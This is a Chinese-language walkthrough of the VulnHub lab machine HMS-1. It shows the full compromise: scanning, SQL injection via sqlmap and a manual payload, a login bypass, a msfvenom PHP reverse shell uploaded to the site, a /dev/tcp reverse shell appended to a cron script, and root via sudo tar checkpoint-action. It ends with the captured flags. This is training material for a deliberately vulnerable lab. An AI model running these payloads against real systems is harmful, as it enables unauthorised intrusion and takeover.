『vulnhub系列』HMS-1
『vulnhub系列』HMS?-1
下载地址:
https://www.vulnhub.com/entry/hms-1,728/
信息搜集:
使用nmap进行存活主机探测,发现开启了21端口(ftp)和22端口(ssh)
匿名登录ftp看看里面有什么东西,发现什么都没有
ftp 192.168.199.133
#使用anonymous登录,无需输入密码
进行全面扫描,发现开启了7080端口
nmap 192.168.199.133 -p 1-65535
访问7080端口的服务发现存在一个登录页面
使用dirsearch进行目录扫描
dirsearch -u "http://192.168.199.133:7080/"
在登录页面查看是否存在sql注入,发现确实存在,一个报错注入一个盲注
sqlmsqlmap -u http://192.168.199.133:7080/login.php --data="user=admin&email=admin%40123&password=asd&btn_login="
查看数据库
sqlmap -u http://192.168.199.133:7080/login.php --data="user=admin&email=admin%40123&password=asd&btn_login=" --dbs
查看数据库中的表
sqlmap -u http://192.168.199.133:7080/login.php --data="user=admin&email=admin%40123&password=asd&btn_login=" -D 'clinic_db' --tables
查看admin表中的字段,发现邮箱为 [email protected]
,但是我们发现密码并不是明文
sqlmap -u http://192.168.199.133:7080/login.php --data="user=admin&email=admin%40123&password=asd&btn_login=" -D 'clinic_db' -T 'admin' --dump
漏洞利用:
我们之前发现,是存在报错注入的并且看payload是通过单引号闭合的
Payload: user=admin&email=admin@123' OR (SELECT 9709 FROM(SELECT COUNT(*),CONCAT(0x7170707671,(SELECT (ELT(9709=9709,1))),0x716b706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- nnPx&password=asd&btn_login=
我们使用万能密码发现带有前端验证
我们使用burp抓包,使用Repeater
确认一下,发现Login Successfully
user=admin&email=ndbhalerao91%40gmail.com' or 1=1 #&password=asd&btn_login=
我们放包,登录成功
找了半天,没有发现什么地方可疑,我们再使用另一个工具扫描一下目录,因为并没有登录,所以这些302的跳转页面,其实也是存在的
gobuster dir -u "http://192.168.199.133:7080/" -w /usr/share/wordlists/dirb/big.txt -x .php
我们发现了setting页面,存在文件上传页面。上传使用msfvenom
生成的反弹shell
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.199.129 lport=4444 -o re_shell.php
然后发现上面出现了一串图片
新标签页访问,发现新的目录/uploadImage
最后在/uploadImage/Logo/
中发现我们的re_shell.php
此时在我们的攻击机开启监听
msfconsole
use exploit/multi/handler
set lhost 192.168.199.133
set payload php/meterpreter/reverse_tcp
run
反弹成功
提升权限:
查看具有SUID权限的命令,发现/usr/bin/bash我们可以借此切换用户
find / -perm -u=s -type f 2>/dev/null
使用命令,成功切换为eren
用户
/usr/bin/bash -p
但是使用命令sudo -l
发现还是要输入密码,因此此时我们的eren用户的权限并不完整
我们查看计划任务
cat /etc/crontab
发现一条计划任务*/5 * * * * eren /home/eren/backup.sh
关于计划任务:
* * * * *
分 时 日 月 周
而对于这条命令意思就是每五分钟执行一次
*/5 * * * * eren /home/eren//backup.sh
可以看到这个文件正好早eren的家目录下。那么我们刚刚切换为eren用户的操作就可以用到了,使用eren权限我们将反弹shell写入/backup.sh
echo "bash -i >& /dev/tcp/192.168.199.129/7777 0>&1" >> /home/eren/backup.sh
之后在攻击机使用nc等待
nc -lvp 7777
连接成功,获得完整的eren用户权限
使用命令sudo -l
查看用户可以在机器上运行的命令,发现tar命令可以以root权限执行
现在我们使用tar的sudo提权
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
- -cf /dev/null /dev/null 将/dev/null 打包为 /dev/null
- -c 打包
- -f 打包为f后面的名字
- --checkpoint=1 每打包一个文件就到达一个检查点
- --checkpoint-action=exec=/bin/sh 到达检查点后执行的命令
获得root权限
成果:
/home/nivek/local.txt
:
3bbf8c168408f1d5ff9dfd91fc00d0c1
/root/root.txt
:
299c10117c1940f21b70a391ca125c5d
热门相关:女王嫁到:老公,太凶了 自古红楼出才子 傲世武皇 符宝 黄金渔村